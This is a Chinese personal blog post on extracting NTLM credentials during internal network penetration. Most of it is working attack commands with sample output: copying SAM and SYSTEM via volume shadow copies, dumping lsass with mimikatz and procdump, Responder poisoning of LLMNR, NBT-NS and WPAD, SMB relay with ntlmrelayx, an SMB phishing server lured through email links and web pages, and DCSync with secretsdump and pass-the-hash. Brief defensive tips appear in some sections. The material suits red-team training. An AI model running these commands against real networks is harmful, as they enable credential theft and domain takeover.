欢迎来到7N的个人博客!

web

内网渗透中NTLM票据挖掘


avatar
7ech_N3rd 2024-11-18 436

孩子最近刚进内网access denied了,能够vivo一个ntlm吗?

基础知识

NTLM(NT LAN Manager)是由微软开发的一种安全协议,主要用于在不使用Kerberos的情况下进行身份验证。它常用于Windows环境中的网络身份验证以及一些旧版系统的兼容性。

NTLM令牌是NTLM身份验证过程中生成的凭据数据,用于识别和验证用户的身份。具体来说,NTLM令牌包含了经过加密处理的用户凭证(如用户名和密码的哈希值),并在客户端与服务器之间传递,以完成身份验证。

NTLM身份验证过程包括三个主要阶段:

  1. 协商(Negotiate):客户端向服务器发送请求,表明它支持NTLM身份验证。
  2. 质询(Challenge):服务器生成一个随机数(称为质询)发送给客户端。
  3. 响应(Response):客户端使用用户的密码哈希对质询进行加密,并将加密后的响应发送回服务器,服务器通过验证该响应来确认用户的身份。

在这个过程中,NTLM令牌就是包含这些验证信息的数据包,用于传递客户端的身份信息和加密响应。

总结来说,NTLM令牌是NTLM协议中用于身份验证的凭据,它包含经过加密的用户信息,确保用户身份可以在网络通信中被安全验证。

NTLM票据挖掘

系统文件(SYSTEM+SAM)

卷影复制服务

Windows提供了一个叫做卷影复制服务(Volume Shadow Copy Service, VSS)的功能,它可以创建系统卷的快照,允许你访问被系统锁定的文件。

步骤:

  1. 创建卷影副本: 使用vssadmin命令创建卷影副本。

  2. 打开命令提示符(以管理员身份运行),输入以下命令:

    vssadmin create shadow /for=C:

  3. 这将创建C盘的卷影副本。

  4. 查找卷影副本路径: 运行以下命令查看卷影副本的路径:

    vssadmin list shadows

  5. 你将看到类似于\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX的路径。

  6. 复制SYSTEM和SAM文件: 现在你可以从卷影副本中复制SYSTEMSAM文件。假设卷影副本的路径是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1,你可以运行以下命令来复制文件:

    copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
    copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM

  7. 这将把SYSTEMSAM文件复制到C:\temp目录下。

下载到本机后结合mimikatz

mimikatz
lsadump::sam /system:system文件路径 /sam:sam文件路径

就能拿到ntlm哈希值了

  • 缺点:要admin而且vssadmin容易触发杀软

内存提取

主要是针对lsass.exe

1. Mimikatz

Mimikatz 是最常用的工具之一,能够直接从 lsass.exe 进程中提取凭据。它不仅可以提取 NTLM 哈希,还可以提取明文密码(如果启用了 WDigest)、Kerberos 票据等。

使用 Mimikatz 提取凭据的步骤:
  1. 下载 Mimikatz

    1. 你可以从 GitHub 上下载 Mimikatz 的二进制文件或源码:https://github.com/gentilkiwi/mimikatz
  2. 以**管理员**权限运行 Mimikatz

    1. Mimikatz 需要管理员权限才能访问 lsass.exe 进程的内存。
  3. 启用 SeDebugPrivilege

    1. 在 Mimikatz 中,首先启用调试权限:

      privilege::debug

  4. 提取凭据

    1. 使用以下命令直接从 lsass.exe 中提取凭据:

      sekurlsa::logonpasswords

    2. 该命令会列出当前在系统上登录的用户凭据,包括:

      • 明文密码(如果启用了 WDigest)

      • NTLM 哈希

      • Kerberos 票据等

  5. 输出示例:

  • Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : Administrator Domain : DOMAIN Logon Server : DC01 Logon Time : 2023/11/18 10:32:11 SID : S-1-5-21-1234567890-2345678901-3456789012-500 msv : [00000003] Primary Username : Administrator Domain : DOMAIN NTLM : 11223344556677889900AABBCCDDEEFF
  1. 在此示例中,NTLM 字段就是捕获到的 NTLM 哈希。攻击者可以使用这个哈希进行 Pass-the-Hash 攻击,或者尝试破解哈希以获取明文密码。

2. Procdump + Mimikatz

如果你不想直接在受害者机器上运行 Mimikatz,可以使用微软提供的 Procdump 工具来转储 lsass.exe 进程的内存,然后在离线环境中使用 Mimikatz 分析该转储文件。

使用 Procdump 提取 LSASS 内存**转储:**
  1. 下载 Procdump

    1. 从微软的 Sysinternals 网站下载 Procdump 工具:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
  2. 以管理员权限运行 Procdump

    1. 使用以下命令转储 lsass.exe 进程的内存:

      procdump.exe -ma lsass.exe lsass.dmp

    2. 该命令会生成一个 lsass.dmp 文件,包含 lsass.exe 进程的内存内容。

  3. 使用 Mimikatz 分析转储文件

    1. lsass.dmp 文件复制到你的本地机器或离线分析环境中,然后使用 Mimikatz 分析该文件:

      mimikatz # sekurlsa::minidump lsass.dmp
      mimikatz # sekurlsa::logonpasswords

    2. sekurlsa::minidump 命令加载转储文件,sekurlsa::logonpasswords 命令从转储文件中提取凭据。

局限

1. 管理员权限要求

  • 局限性:要访问并转储 lsass.exe 进程的内存,攻击者需要本地管理员权限或更高权限。没有足够的权限,攻击者将无法访问该进程的内存。

  • 防御措施:通过最小化权限原则(Least Privilege Principle),限制用户和应用程序的权限,确保非授权用户无法获得管理员权限。还可以通过使用工具(如 LAPS,Local Administrator Password Solution)来管理本地管理员密码,并定期更改密码以减少被滥用的风险。

2. 禁用 WDigest

  • 局限性:在较新的 Windows 版本(Windows 8.1 及更高版本)中,默认情况下 WDigest 认证协议是禁用的。这意味着即使攻击者能够访问 lsass.exe 的内存,也无法提取到明文密码,只能获取 NTLM 哈希或 Kerberos 票据。

  • 防御措施:确保 WDigest 认证协议保持禁用状态。可以通过以下注册表项来确认 WDigest 是否被禁用:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

  • 该键值应为 0,表示禁用 WDigest。

浏览器凭据获取

可用链接:https://github.com/StarfireLab/SharpWeb

Edge

旧版chrome

直接参考:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module\_source/collection/Get-ChromeDump.ps1 即可

Firefox

流量劫持

Wireshark嗯分析

https://zhuanlan.zhihu.com/p/52882041

具体参考↑

Responder利用

1. LLMNR 和 NBT-NS 欺骗

  • LLMNR(Link-Local Multicast Name Resolution)NBT-NS(NetBIOS Name Service) 是 Windows 网络中用于名称解析的协议。当系统无法通过 DNS 解析某个主机名时,会广播请求,询问网络中的其他设备是否知道该主机名。

  • Responder 可以通过监听这些广播请求并伪装成目标主机,诱使请求者将其凭据发送给攻击者。

使用步骤:
  1. 启动 Responder

    1. 首先,确保你在目标网络的同一网段内(例如通过获得网络访问权限),然后运行 Responder 来监听 LLMNR 和 NBT-NS 请求。

    sudo responder -I eth0

  2. 等待捕获 NTLM 凭据

    1. 当网络中的某个设备尝试解析一个不存在的主机名时,Responder 会伪装成该主机并响应请求,诱使目标设备发送 NTLMv1 或 NTLMv2 凭据。

    2. Responder 会显示捕获的 NTLM 哈希,类似如下输出:

    [SMB] NTLMv2-SSP Client : 192.168.1.100
    [SMB] NTLMv2-SSP Username : DOMAIN\user
    [SMB] NTLMv2-SSP Hash : user::DOMAIN:1122334455667788:ABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEF::1122334455667788

  3. 使用捕获的 NTLM 哈希

    1. 捕获到的 NTLM 哈希可以通过破解工具(如 hashcat)尝试还原明文密码。
利用条件:
  • LLMNR 或 NBT-NS 启用:目标网络中的计算机必须启用了 LLMNR(Link-Local Multicast Name Resolution)或 NBT-NS(NetBIOS Name Service)。这两个协议用于名称解析,当系统无法通过 DNS 解析某个主机名时,会向网络中的其他设备广播请求。

    • LLMNR 通常在 Windows 7 及之后的系统中启用。

    • NBT-NS 是较旧的协议,主要用于早期的 Windows 系统,但在很多组织中仍然存在。

  • 目标系统发出名称解析请求:目标系统必须试图解析一个不存在或错误的主机名(例如,用户尝试访问一个拼写错误的主机名),这会触发 LLMNR 或 NBT-NS 请求。

  • 网络中没有正确配置的 DNS:如果 DNS 服务器能够正确解析主机名,则不会触发 LLMNR 或 NBT-NS 请求。因此,网络中需要存在某种 DNS 配置问题或主机名错误。

攻击场景:
  • 当用户尝试访问一个不存在的主机时(例如 \\nonexistent-share),系统会发出 LLMNR 或 NBT-NS 请求,询问网络中的其他设备是否知道该主机。Responder 捕获该请求,并伪装成目标主机,诱使用户系统发送 NTLM 凭据。
防御措施:
  • 禁用 LLMNR 和 NBT-NS 协议。

  • 确保 DNS 配置正确,减少系统对 LLMNR 和 NBT-NS 的依赖。

2. SMB 中继攻击

  • Responder 还可以结合 SMB 中继攻击(SMB Relay Attack),即捕获一个 NTLM 哈希后,直接将其中继到另一个系统,尝试以该用户的身份进行身份验证和访问。

  • 这种攻击方法特别有效,当目标网络中存在不安全的 SMB 策略(如允许 NTLM 身份验证且未启用 SMB 签名时)。

使用步骤:
  1. 启动 Responder 进行中继

    1. 首先,使用 Responder 启动中继功能,将捕获的 NTLM 哈希中继到另一个目标系统。

    sudo responder -I eth0 --lm -r -w

  2. 启动 Responder 中继模块(Responder-Relay)

    1. Responder 自带的中继模块可以将捕获的 NTLM 哈希传递给另一个目标系统,尝试进行身份验证。

    sudo python3 /usr/share/responder/tools/RunFinger.py 192.168.1.105

  3. 使用 Responder 进行 SMB 中继

    1. 如果目标系统允许中继,可以使用 ntlmrelayx.py(来自 Impacket 工具集)结合 Responder 进行 SMB 中继攻击。

    sudo ntlmrelayx.py -tf targets.txt -smb2support

利用条件:
  • 目标网络中存在不安全的 SMB 配置:SMB 中继攻击的成功依赖于目标系统的 SMB 配置。具体来说,以下条件必须满足:

    • 目标系统未启用 SMB 签名:如果目标系统启用了 SMB 签名(特别是强制 SMB 签名),那么 SMB 中继攻击将无法成功,因为签名会验证消息的完整性,防止中继攻击。

    • 目标系统允许 NTLM 认证:中继攻击的目标系统必须允许 NTLM 认证。如果目标系统仅接受 Kerberos 认证,攻击将无法进行。

  • 攻击者能够中继 NTLM 凭据:攻击者需要能够捕获到 NTLM 凭据(例如通过 LLMNR/NBT-NS 欺骗、HTTP 中继等),并将其中继到另一个目标系统。

  • 目标用户具有访问权限:捕获到的 NTLM 凭据必须属于一个对目标系统有足够权限的用户(例如,具有访问文件共享或执行远程命令的权限)。

攻击场景:
  • 攻击者通过 LLMNR/NBT-NS 欺骗捕获到某个用户的 NTLM 凭据,然后将该凭据中继到另一个系统,尝试对该系统进行身份验证。如果目标系统未启用 SMB 签名且允许 NTLM 认证,攻击者可以以该用户的身份访问系统资源。
防御措施:
  • 启用并强制 SMB 签名。

  • 禁用 NTLM 认证,或仅在必要时使用 NTLM。

  • 限制用户对关键系统的访问权限,减少高权限账户的暴露。

3. WPAD 欺骗(Web Proxy Auto-Discovery)

  • WPAD 是一种自动发现代理服务器配置的协议,Windows 系统会通过 WPAD 查找网络中的代理服务器。

  • Responder 可以通过伪造 WPAD 响应,诱使目标系统将其流量通过攻击者的机器,从而捕获 NTLM 凭据。

使用步骤:
  1. 启动 Responder 进行 WPAD 欺骗

    1. 使用 Responder 启动 WPAD 欺骗功能,监听目标网络中的 WPAD 请求。

    sudo responder -I eth0 -w

  2. 捕获 NTLM 凭据

    1. 当目标系统尝试通过 WPAD 自动配置代理时,Responder 会伪装成代理服务器,诱使目标系统发送 NTLM 凭据。

    2. Responder 将显示捕获到的 NTLM 哈希,类似于前面提到的输出。

利用条件:
  • 网络中启用了 WPAD(Web Proxy Auto-Discovery Protocol):WPAD 是一种自动发现代理服务器配置的协议,Windows 系统会通过 WPAD 查找网络中的代理服务器。如果网络中启用了 WPAD,并且没有正确配置代理服务器,攻击者可以利用 WPAD 欺骗。

  • 目标系统配置为自动发现代理:目标系统必须配置为使用 WPAD 自动发现代理服务器。通常,Windows 系统默认启用此功能,尤其是在域环境中。

  • 攻击者能够伪装为代理服务器:攻击者可以使用 Responder 伪装成网络中的代理服务器,响应 WPAD 请求,并诱使目标系统将流量通过攻击者的机器。

  • 目标系统发送 NTLM 认证请求:当目标系统尝试通过伪造的代理服务器访问外部资源时,攻击者可以诱使其发送 NTLM 凭据。

攻击场景:
  • 当用户打开浏览器或其他应用程序并尝试访问互联网时,系统会通过 WPAD 自动查找代理服务器。Responder 伪装成代理服务器,诱使用户系统将流量通过攻击者的机器,并捕获到 NTLM 凭据。
防御措施:
  • 禁用 WPAD 协议,或确保网络中正确配置了 WPAD 代理服务器。

  • 配置浏览器和应用程序手动指定代理服务器,而不是通过自动发现。

SMB服务钓鱼

impacket-smbserver+xss利用

我们不止可以通过中间人攻击来实现获取凭据,我们还可以通过搭建具体的钓鱼服务器来实现凭据截取

启动 impacket包自带SMB 服务器:

smbserver.py -smb2support SHARE /tmp/smbshare
  • SHARE 是共享名称。

  • /tmp/smbshare 是共享目录的路径。

  • -smb2support 选项是为了确保支持 SMBv2 协议。

此时,smbserver.py 会监听 SMB 请求,并捕获试图访问此 SMB 共享的任何用户的 NTLM 凭据。

  1. 诱导用户访问恶意 SMB 服务器

你可以通过以下方式诱导用户访问你的 SMB 服务器:

  • 电子邮件链接: 在电子邮件中嵌入指向 SMB 共享的链接。例如:

    Hey, check this out: \\SHARE

  • 当用户点击此链接时,Windows 会自动尝试连接到该 SMB 共享,并发送 NTLM 凭据。

  • 网页嵌入: 在网页中嵌入指向 SMB 共享的资源,例如图片或脚本:

  • 当用户访问此网页时,浏览器会尝试加载该图片,从而触发 NTLM 认证。

DCsync攻击

利用条件

要成功发起 DCSync 攻击,攻击者需要具备以下条件:

  1. 域**管理员**权限或具有足够权限的账户:

    1. DCSync 攻击并不需要直接在域控制器上执行,而是通过模拟域控制器的行为来请求凭据数据。要做到这一点,攻击者需要拥有能够调用 AD 复制功能的权限。

    2. 具体来说,攻击者需要拥有以下权限之一:

      • **域管理员(Domain Admins)**组成员。

      • **企业管理员(Enterprise Admins)**组成员。

      • **域控制器(Domain Controllers)**组成员。

      • **备份操作员(Backup Operators)**组成员(在某些配置中)。

    3. 这些账户具有足够的权限来请求 AD 复制,因此攻击者可以通过这些账户发起 DCSync 攻击。

  2. 访问域**环境**:

    1. 攻击者需要能够访问域环境中的域控制器,通常是通过网络访问。

    2. 攻击者必须能够与域控制器通信,以便发起 DCSync 请求。

具体操作

假设你已经获得了一个具有高权限的账户(如域管理员),你可以使用该账户来执行 DCSync 攻击,提取域用户的 NTLM 哈希。

secretsdump.py /:@
示例

假设你有一个域管理员账户 admin,密码为 password123,域控制器的 IP 地址为 192.168.1.10,你可以运行以下命令来提取凭据:

secretsdump.py contoso.local/admin:password123@192.168.1.10
使用 NTLM 哈希进行身份验证

如果你已经获取了某个高权限账户的 NTLM 哈希,可以使用 Pass-the-Hash 技术来执行 DCSync 攻击,而不需要知道该账户的明文密码。

secretsdump.py contoso.local/admin@192.168.1.10 -hashes :

执行完 secretsdump.py 后,你会看到类似以下的输出:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:11223344556677889900AABBCCDDEEFF:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:99887766554433221100FFEEDDCCBBAA:::

你可以使用提取出来的 NTLM 哈希进行后续攻击(如 Pass-the-Hash)。

日志配置不当

1. Windows 安全事件日志

Windows 安全日志中记录了大量与身份验证相关的事件。在某些情况下,错误配置的日志记录可能会记录 NTLM 哈希。

  • 事件 ID 4624:成功的登录事件。

    • 这个事件可能会记录用户通过 NTLM 成功登录的详细信息,尤其是在 NTLM 身份验证被使用的情况下。

    • 检查事件的 "详细信息" 部分,特别是 Authentication Package 字段是否为 NTLM。虽然默认情况下不会记录哈希值,但错误配置的日志记录或调试模式可能会导致哈希值泄露。

  • 事件 ID 4776:NTLM 身份验证尝试。

    • 这个事件会记录 NTLM 身份验证的请求和结果。通常只会记录用户名和域,但如果日志记录配置不当,可能会记录 NTLM 哈希。

    • 检查 "错误代码" 和 "身份验证包" 字段,确保没有敏感信息被记录。

2. IIS(Internet Information Services)日志

如果你的环境中使用了 IIS,并且 IIS 配置为使用 NTLM 身份验证,IIS 日志可能会记录与 NTLM 身份验证相关的信息。

  • 检查 IIS 的详细日志设置,确保没有记录 NTLM 哈希或其他敏感信息。

  • 如果 IIS 配置为详细记录身份验证请求,可能会记录 NTLM 身份验证的详细信息,甚至包括哈希值。

3.打印机服务

打印机一般采用smb进行文件传输的,如果日志配置不当。就会把哈希值写到日志中,可能造成泄露

暂无评论

发表评论